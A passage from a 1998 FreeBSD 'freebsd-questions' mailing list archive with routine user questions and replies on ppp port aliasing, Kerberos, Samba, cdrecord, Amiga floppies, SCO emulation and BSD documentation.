hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA22185 for ; Fri, 10 Apr 1998 04:43:26 -0700 (PDT) (envelope-from rivers@dignus.com) Received: from ponds.dignus.com (ponds.vnet.net [166.82.177.48]) by elvis.vnet.net (8.8.8/8.8.4) with ESMTP id HAA27600 for ; Fri, 10 Apr 1998 07:41:47 -0400 (EDT) Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.8.5) with ESMTP id IAA20152 for ; Fri, 10 Apr 1998 08:00:08 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.7/8.6.9) id HAA04770 for freebsd-questions@freefall.cdrom.com; Fri, 10 Apr 1998 07:37:38 -0400 (EDT) Date: Fri, 10 Apr 1998 07:37:38 -0400 (EDT) From: Thomas David Rivers Message-Id: <199804101137.HAA04770@lakes.dignus.com> To: freebsd-questions@freefall.FreeBSD.org Subject: FreeBSD evangelism... Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Ummm... just by way of doing my part, I had this idea. If someone springs for a case or so of 2.2.6 CDROMS, I could stand outside of RedHat's office and distribute them to people as they came in... (RedHat is in Cary, NC...) I do know a couple of people who work there; I've been trying to get them to push FreeBSD (at least testing ApplixWare on it.) Just a thought... - Dave Rivers - To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 05:20:14 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA24722 for freebsd-questions-outgoing; Fri, 10 Apr 1998 05:20:14 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ns.usac.edu.gt (ns.usac.edu.gt [168.234.52.2]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id FAA24709 for ; Fri, 10 Apr 1998 05:20:08 -0700 (PDT) (envelope-from victor@usac.edu.gt) Received: from localhost by ns.usac.edu.gt; (5.65/1.1.8.2/17Apr97-1150AM) id AA20287; Fri, 10 Apr 1998 06:17:14 -0600 Date: Fri, 10 Apr 1998 06:17:14 -0600 (GMT-0600) From: Victor Manuel Carranza Gonzalez Reply-To: Victor Manuel Carranza Gonzalez To: FreeBSD Questions mailing list Subject: IBCS2 - SCO emulation + Oracle 7 Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi! I'll try to install Oracle 7 in a SCO OpenServer 5 box, and then move it to my FreeBSD 3.0-SNAP (971006) dual-processor box. Is the IBCS2 emulator in FreeBSD compatible with SCO OpenServer 5? What versions of SCO is the emulator compatible with? Any comments about the installation (on SCO) and relocation (to FreeBSD) of Oracle are also welcome! Cheers, Victor To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 05:23:57 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA25398 for freebsd-questions-outgoing; Fri, 10 Apr 1998 05:23:57 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from capecod.net (ost112.capecod.net [204.255.214.112]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA25392 for ; Fri, 10 Apr 1998 05:23:46 -0700 (PDT) (envelope-from crtb@capecod.net) Received: (from crtb@localhost) by capecod.net (8.8.5/8.8.5) id WAA01154 for questions@freebsd.org; Thu, 9 Apr 1998 22:33:41 -0400 (EDT) Date: Thu, 9 Apr 1998 22:33:41 -0400 (EDT) From: Chuck Message-Id: <199804100233.WAA01154@capecod.net> To: questions@FreeBSD.ORG Subject: Amiga diskettes on FreeBSD ? Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I would like to decipher Amiga diskettes, alas the 800KB kind, written in Amiga's "fast file system" format, and perhaps eventually write also. The FreeBSD floppy driver refers to 10- and 11-sector diskette tracks as "stressed formats" and more or less refuses to touch them. I get hard error messages; I'm careful to refer to /dev/fd0.720. There is no such thing as /dev/fd0.800, and the driver code disapproves. I'm currently running 2.2.2-RELEASE (yah, could be newer). Would an upgrade help? I'd be willing to help write a user-mode program to handle an Amiga raw disk image, if only the raw disk could be read. Chuck Bacon -- crtb@capecod.net ABHOR SECRECY -- DEFEND PRIVACY To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 05:38:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA27370 for freebsd-questions-outgoing; Fri, 10 Apr 1998 05:38:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from federation.addy.com (federation.addy.com [207.239.68.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA27365; Fri, 10 Apr 1998 05:37:55 -0700 (PDT) (envelope-from fbsdlist@federation.addy.com) Received: from localhost (fbsdlist@localhost) by federation.addy.com (8.8.5/8.6.12) with SMTP id IAA11233; Fri, 10 Apr 1998 08:37:53 -0400 (EDT) Date: Fri, 10 Apr 1998 08:37:52 -0400 (EDT) From: Cliff Addy To: hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <19980410121551.JK28648@mars.hsc.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Pierre Beyssac wrote: > > The closest I could find to a real concern was that their 4.4BSD > > manual set didn't sell nearly as well as they had expected. > > AFAIK, this is basically a printed copy of all the man pages... I looked at it once and that was my impression, too. Given the fact that it's online and the online version is up to date, the manual set seemed to be of no value. Reminds me of their Apache book, I think it was about version 1.1, totally outdated and useless (to me, anyway). To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 05:43:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA29201 for freebsd-questions-outgoing; Fri, 10 Apr 1998 05:43:51 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA29195 for ; Fri, 10 Apr 1998 05:43:48 -0700 (PDT) (envelope-from andre.albsmeier@mchp.siemens.de) Received: from salomon.mchp.siemens.de (salomon.siemens.de [139.23.33.13]) by david.siemens.de (8.8.8/8.8.8) with ESMTP id OAA00359 for ; Fri, 10 Apr 1998 14:43:27 +0200 (MDT) X-Envelope-Sender-Is: andre.albsmeier@mchp.siemens.de (at relayer david.siemens.de) Received: from curry.mchp.siemens.de (daemon@curry.mchp.siemens.de [146.180.31.23]) by salomon.mchp.siemens.de (8.8.8/8.8.5) with ESMTP id OAA04106 for ; Fri, 10 Apr 1998 14:43:27 +0200 (MDT) Received: (from daemon@localhost) by curry.mchp.siemens.de (8.8.8/8.8.8) id OAA19125 for ; Fri, 10 Apr 1998 14:43:28 +0200 (CEST) From: Andre Albsmeier Message-Id: <199804101243.OAA01907@intern> Subject: Re: How to make a non-dangerously dedicated disk? In-Reply-To: <199804091537.KAA16153@horton.iaces.com> from "Paul T. Root" at "Apr 9, 98 10:37:54 am" To: proot@horton.iaces.com (Paul T. Root) Date: Fri, 10 Apr 1998 14:43:21 +0200 (CEST) Cc: andre.albsmeier@mchp.siemens.de, freebsd-questions@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > In a previous message, Andre Albsmeier said: > > > > > > > > I did run into one other problem. After rdumping my FS's to a solaris tape host, > > > > > I wanted to dump the dump files to disk so I could burn them on my CD-Rom burner > > > > > (in Win NT, grrr). But Solaris dd couldn't read the file off the tape? Anybody > > > > > got ideas why? And I still want to get my Philips CDR400t going on FreeBSD. > > > > > > > > cdrecord doesn't work for it? > > > > > > Nope, it won't recognize the drive. I'm wondering if cdrecord is dependant on > > > the scsi card? The one here at work is an amd driver. > > > > Hmm, as long as the kernel detects it as a worm, it's up to cdrecord > > to do the correct things. > > cdrecord doesn't need the worm device, or so I've read. Hmm, but it needs the scgx link. And this points to rworm0.ctl: andre@bali:/dev>ll scgx lrwxrwxrwx 1 root sys 10 Feb 13 10:09 scgx@ -> rworm0.ctl > > > > > > At home, I've yet to get my old Philips CDD2000 to work with either worm or > > > cdrecord. I've got that on a 2940. > > > > According to the README of cdrecord-1.6a12 > > > > --------------------------------- snip --------------------------- > > > > Cdrecord has been implemented with a Philips CDD 521. > > Cdrecord now is maintained with the following drives: > > > > COMPRE/Matsushita/Panasonic CW-7502 > > Philips CDD-2000 > > TEAC CD-R50S > > > Ah ha, a newer version. I've been trying with 1.5. Thanks. The one in sysutils/cdrecord worked out of the box for me. There are some warnings when being built but I think they can be ignored. -Andre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 05:52:15 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA00644 for freebsd-questions-outgoing; Fri, 10 Apr 1998 05:52:15 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from exrhub.exr.com (exrhub.exr.com [207.86.92.130]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA00579 for ; Fri, 10 Apr 1998 05:52:02 -0700 (PDT) (envelope-from aj@gims.net) From: aj@gims.net Received: from gims.net (galiano [204.7.219.85]) by exrhub.exr.com (8.8.6/8.8.6) with ESMTP id IAA10754 for ; Fri, 10 Apr 1998 08:51:02 -0400 (EDT) Message-ID: <352E1644.F1EA9475@gims.net> Date: Fri, 10 Apr 1998 08:53:25 -0400 X-Mailer: Mozilla 4.03 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Kernel files Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I need to build a cutome kernel but am not sure what files I need to load the source on my server. Is there one tar file that will build the source directory or do I need to pull the contents of a directory down to my server? I don't currently have the kernel source code on my server. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 05:57:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA01520 for freebsd-questions-outgoing; Fri, 10 Apr 1998 05:57:12 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.netcetera.dk (root@sleipner.netcetera.dk [194.192.207.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA01513 for ; Fri, 10 Apr 1998 05:57:08 -0700 (PDT) (envelope-from leifn@image.dk) Received: (from uucp@localhost) by mail.netcetera.dk (8.8.8/8.8.8) with UUCP id OAA00971 for freebsd-questions@freebsd.org; Fri, 10 Apr 1998 14:54:30 +0200 Received: by swimsuit.swimsuit.roskildebc.dk (0.99.970109) id AA05956; 10 Apr 98 12:25:03 +0100 From: leifn@image.dk (Leif Neland) Date: 10 Apr 98 12:08:55 +0100 Subject: ppp allowing access to other local machine Message-ID: Organization: Fidonet: Swimsuit Safari. Go for it. To: freebsd-questions@FreeBSD.ORG Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have two machines: arnold running ppp, and darla running apache I have this in my /etc/ppp/ppp.conf on arnold: default: alias enable yes alias port tcp 192.168.0.10:80 80 (darla) arnold connects to my isp, and get a dynamic ip, say pm22-20.my.isp I can access http://darla from arnold. If I try http://pm22-20.my.isp, I can see with trafshow on both tun0 and ed0 traffic from pm22-20.my.isp to darla:80, but no traffic is comming back. What am I doing wrong? Please reply privately too, as I'm running behind on this list. Leif Neland leifn@internet.dk --- |Fidonet: Leif Neland 2:234/49 |Internet: leifn@image.dk To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 05:59:15 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA02109 for freebsd-questions-outgoing; Fri, 10 Apr 1998 05:59:15 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from att.com (kcgw1.att.com [192.128.133.151]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id FAA02089; Fri, 10 Apr 1998 05:59:07 -0700 (PDT) (envelope-from sbabkin@dcn.att.com) From: sbabkin@dcn.att.com Received: by kcgw1.att.com; Fri Apr 10 07:59 CDT 1998 Received: from dcn71.dcn.att.com ([135.44.192.112]) by kcig1.att.att.com (AT&T/GW-1.0) with ESMTP id HAA23757; Fri, 10 Apr 1998 07:58:59 -0500 (CDT) Received: by dcn71.dcn.att.com with Internet Mail Service (5.0.1458.49) id <2MVXB9G5>; Fri, 10 Apr 1998 08:58:54 -0400 Message-ID: To: brett@lariat.org, mike@smith.net.au, dshanes@personalogic.com, grog@lemis.com Cc: hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: RE: Fw: Your Article "Freeware: The Heart & Soul of the Internet" Date: Fri, 10 Apr 1998 08:58:50 -0400 X-Priority: 3 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1458.49) Content-Type: text/plain Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > ---------- > From: Greg Lehey[SMTP:grog@lemis.com] > > They publish books. Just because they publish books doesn't mean that > they can't also publish books on BSD. In fact, O'Reilly Germany *are* > planning a BSD book, but I haven't seen much about it for a while. > The closest I could find to a real concern was that their 4.4BSD > manual set didn't sell nearly as well as they had expected. > And, for example, I can explain why *I* did not bought them. Because they are just printouts of man pages, partially obsolete. I already have them in FreeBSD, for free. Why would I pay lots of money to buy the same but worse ? What would I like to buy is the manual that will describe how to use this and that and why is it implemented in that way and not another. Serge To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 06:09:57 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA03764 for freebsd-questions-outgoing; Fri, 10 Apr 1998 06:09:57 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from smtp.interlog.com (root@smtp.interlog.com [207.34.202.37]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA03758 for ; Fri, 10 Apr 1998 06:09:52 -0700 (PDT) (envelope-from paulg@interlog.com) Received: from shell1.interlog.com (paulg@shell1.interlog.com [207.34.202.8]) by smtp.interlog.com (8.8.8/8.8.5) with SMTP id JAA01586 for ; Fri, 10 Apr 1998 09:09:51 -0400 (EDT) Date: Fri, 10 Apr 1998 09:09:50 -0400 (EDT) From: Paul Griffith To: freebsd-questions@FreeBSD.ORG Subject: Kerberos Server & Client on same machine Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am playing around with Kerberos. I followed the handbook word for word. Now when I try: kinit paulg I get the following error message: krb_bind_local_addr: No valid local interface foundkinit: Can't send request (send_to_kdc) Do I have to run the Kerberos server on a different machine ? Paul Griffith - paulg@interlog.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 06:22:16 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA05074 for freebsd-questions-outgoing; Fri, 10 Apr 1998 06:22:16 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from itesec.hsc.fr (root@itesec.hsc.fr [192.70.106.33]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA05025; Fri, 10 Apr 1998 06:22:11 -0700 (PDT) (envelope-from pb@hsc.fr) Received: from mars.hsc.fr (pb@mars.hsc.fr [192.70.106.44]) by itesec.hsc.fr (8.8.8/8.8.5/itesec-1.12-nospam) with ESMTP id PAA20289; Fri, 10 Apr 1998 15:21:42 +0200 (MET DST) Received: (from pb@localhost) by mars.hsc.fr (8.8.5/8.8.5/pb-19970301) id PAA24750; Fri, 10 Apr 1998 15:21:41 +0200 (MET DST) Message-ID: <19980410152140.LP32049@mars.hsc.fr> Date: Fri, 10 Apr 1998 15:21:40 +0200 From: Pierre.Beyssac@hsc.fr (Pierre Beyssac) To: sbabkin@dcn.att.com Cc: brett@lariat.org, mike@smith.net.au, dshanes@personalogic.com, grog@lemis.com, hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" References: X-Mailer: Mutt 0.59.1e Mime-Version: 1.0 In-Reply-To: ; from sbabkin@dcn.att.com on Apr 10, 1998 08:58:50 -0400 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG According to sbabkin@dcn.att.com: > Received: from itesec.hsc.fr (root@itesec.hsc.fr [192.70.106.33]) > of money to buy the same but worse ? What would I like to > buy is the manual that will describe how to use this and that > and why is it implemented in that way and not another. What you want then is the BSD 4.4 internals by McKusick et al. If I remember correctly, it's printed by Addison Wesley. It's the definitive book on the matter. I bought this, not the ORA manpages :-) -- Pierre.Beyssac@hsc.fr To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 06:33:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA07981 for freebsd-questions-outgoing; Fri, 10 Apr 1998 06:33:59 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from falconsoft.com (guff@ns.falconsoft.com [206.112.36.6]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA07973 for ; Fri, 10 Apr 1998 06:33:53 -0700 (PDT) (envelope-from guff@falconsoft.com) Received: from localhost (guff@localhost) by falconsoft.com (8.8.8/8.8.7) with SMTP id IAA15585; Fri, 10 Apr 1998 08:33:50 -0500 (EST) (envelope-from guff@falconsoft.com) Date: Fri, 10 Apr 1998 08:33:48 -0500 (EST) From: Tim Gustafson To: Leif Neland cc: freebsd-questions@FreeBSD.ORG Subject: Re: ppp allowing access to other local machine In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Make sure you have the default route in the web server set to the ethernet IP of the one connecting. tim On 10 Apr 1998, Leif Neland wrote: > I have two machines: arnold running ppp, and darla running apache > > > I have this in my /etc/ppp/ppp.conf on arnold: > > > default: > alias enable yes > alias port tcp 192.168.0.10:80 80 (darla) > > arnold connects to my isp, and get a dynamic ip, say pm22-20.my.isp > > I can access http://darla from arnold. > > If I try http://pm22-20.my.isp, I can see with trafshow on both tun0 and ed0 > traffic from pm22-20.my.isp to darla:80, but no traffic is comming back. > > What am I doing wrong? > > Please reply privately too, as I'm running behind on this list. > > > Leif Neland > leifn@internet.dk > > --- > |Fidonet: Leif Neland 2:234/49 > |Internet: leifn@image.dk > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 06:47:45 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA10098 for freebsd-questions-outgoing; Fri, 10 Apr 1998 06:47:45 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ns.inw.net (ns.inw.net [206.28.240.11]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA10040 for ; Fri, 10 Apr 1998 06:47:39 -0700 (PDT) (envelope-from mcneills@inw.net) Received: from mcneills (keppp29.inw.net [207.2.103.98]) by ns.inw.net (8.8.6/8.8.6) with SMTP id IAA06206 for ; Fri, 10 Apr 1998 08:47:32 -0500 (CDT) Received: by mcneills (VPOP3 - Unregistered) with SMTP; Fri, 10 Apr 1998 08:48:53 -0500 Message-ID: <00b201bd6487$4ec1fae0$0200a8c0@Dell> Reply-To: "Dennis Reiter" From: "Dennis Reiter" To: Subject: Re: Linux on the npr's All Things Considered Date: Fri, 10 Apr 1998 08:48:12 -0500 MIME-Version: 1.0 Content-Type: text/plain;charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.2038.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.71.2039.0 X-Server: VPOP3 V1.2.5 Unregistered Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Here's the archived URL: http://www.npr.org/programs/atc/archives/1998/980408.atc.html Regards, Denny Reiter denny@kewanee.net ICQ # 823496 "Remember: Wherever you go; There you are." -----Original Message----- From: original man To: freebsd-questions@FreeBSD.ORG Date: Thursday, April 09, 1998 6:08 PM Subject: Linux on the npr's All Things Considered >Did anyone catch the piece on National Public Radio's All Things Considered about Linux. >If you you have real audio you can get the interview at this URL > > http://www.npr.org/programs/atc/archives/1998/current.html >Not sure how long it'll be there as they update their current.html everyday. > >Here's a short synopsis > > Linux OS -- Windows is the dominant operating system that makes computers do > what they do when you tell them to. But there's another operating system that's free > -- the creation of a Finnish programmer who put it out on the world wide web and > invited any and all to improve it. The resulting "committee-written" system is > finding favor with more and more computer-savvy users worldwide. And it's free. > NPR's Dan Charles reports on Linux's founder and how his creation is faring. > (8:15) >It was interesting to say the least > >i'khala > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 07:08:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA12455 for freebsd-questions-outgoing; Fri, 10 Apr 1998 07:08:05 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA12424 for ; Fri, 10 Apr 1998 07:07:57 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node57.mpc.com.br [200.246.0.57]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id LAA24436 for ; Fri, 10 Apr 1998 11:07:51 -0300 (EST) Message-Id: <3.0.32.19980410225724.00928990@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Fri, 10 Apr 1998 23:02:17 -0300 To: freebsd-questions@FreeBSD.ORG From: Capriotti Subject: X, IBM monitor and Diamond Edge 3D Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi ! Trying to run X on my nvidia chipset Edge 3D seems fine. The card does not accept virtual resolutions, but it's fine. Problem: Can't cycle the resolutions. The server claims the 680/480 and 800x600 are not supported. It claims that "virtual desktop not supported". and, just to complete the scenario, the 1024x768 works, but due to some refresh rate issue - i guess - the screen shows small (a small square using 1/3 to 1/4 of the screen area, in the midle of the monitor, and the image is "bent", curve sides. All of this is new to me. Just in case, the X server output is : To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 07:08:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA12456 for freebsd-questions-outgoing; Fri, 10 Apr 1998 07:08:05 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA12420 for ; Fri, 10 Apr 1998 07:07:56 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node57.mpc.com.br [200.246.0.57]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id LAA24433 for ; Fri, 10 Apr 1998 11:07:49 -0300 (EST) Message-Id: <3.0.32.19980410222618.00925c10@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Fri, 10 Apr 1998 23:02:14 -0300 To: freebsd-questions@FreeBSD.ORG From: Capriotti Subject: Samba issue Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, all. It's ironic that I have helped some ppl out with Samba and now I can't make it work myself. the error msg from the log file is: >Get_Hostbyname: Unknown host brain.mpc.com.br. >Added interface ip=150.150.150.156 bcast=150.150.150.255 nmask=255.255.255.0 >Get_Hostbyname: Unknown host. brain.mpc.com.br I had to use the interfaces parameter under [global] to make samba recognize my interface card. It seems to be a DNS problem; I don't have DNS installed on this machine. It's a 2.2.5R with the samba pkg provided in the CD. Any takers ? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 07:16:14 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA14202 for freebsd-questions-outgoing; Fri, 10 Apr 1998 07:16:14 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from awfulhak.org (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA14168 for ; Fri, 10 Apr 1998 07:15:27 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.org (8.8.8/8.8.7) with ESMTP id OAA11687; Fri, 10 Apr 1998 14:34:46 +0100 (BST) (envelope-from brian@gate.lan.awfulhak.org) Message-Id: <199804101334.OAA11687@awfulhak.org> X-Mailer: exmh version 2.0.1 12/23/97 To: leifn@image.dk (Leif Neland) cc: freebsd-questions@FreeBSD.ORG Subject: Re: ppp allowing access to other local machine In-reply-to: Your message of "10 Apr 1998 12:08:55 BST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 10 Apr 1998 14:34:45 +0100 From: Brian Somers Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I have two machines: arnold running ppp, and darla running apache > > > I have this in my /etc/ppp/ppp.conf on arnold: > > > default: > alias enable yes > alias port tcp 192.168.0.10:80 80 (darla) > > arnold connects to my isp, and get a dynamic ip, say pm22-20.my.isp > > I can access http://darla from arnold. > > If I try http://pm22-20.my.isp, I can see with trafshow on both tun0 and ed0 > traffic from pm22-20.my.isp to darla:80, but no traffic is comming back. > > What am I doing wrong? > > Please reply privately too, as I'm running behind on this list. Perhaps darla doesn't have arnold as its default route ? > Leif Neland > leifn@internet.dk > > --- > |Fidonet: Leif Neland 2:234/49 > |Internet: leifn@image.dk -- Brian , , Don't _EVER_ lose your sense of humour.... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 07:16:43 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA14566 for freebsd-questions-outgoing; Fri, 10 Apr 1998 07:16:43 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ns.inw.net (ns.inw.net [206.28.240.11]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA14522 for ; Fri, 10 Apr 1998 07:16:36 -0700 (PDT) (envelope-from mcneills@inw.net) Received: from mcneills (ke2ppp25.inw.net [207.2.107.66]) by ns.inw.net (8.8.6/8.8.6) with SMTP id JAA26611 for ; Fri, 10 Apr 1998 09:16:34 -0500 (CDT) Received: by mcneills (VPOP3 - Unregistered) with SMTP; Fri, 10 Apr 1998 09:17:55 -0500 Message-ID: <00bd01bd648b$5cfbcec0$0200a8c0@Dell> Reply-To: "Dennis Reiter" From: "Dennis Reiter" To: Subject: Re: Linux on the npr's All Things Considered Date: Fri, 10 Apr 1998 09:17:15 -0500 MIME-Version: 1.0 Content-Type: text/plain;charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.2038.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.71.2039.0 X-Server: VPOP3 V1.2.5 Unregistered Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'd suggest comments to All Things Considered (atc@npr.org) for a little free publicity of our own. Regards, Denny Reiter denny@kewanee.net ICQ # 823496 "Remember: Wherever you go; There you are." -----Original Message----- From: Dennis Reiter To: freebsd-questions@FreeBSD.ORG Date: Friday, April 10, 1998 8:50 AM Subject: 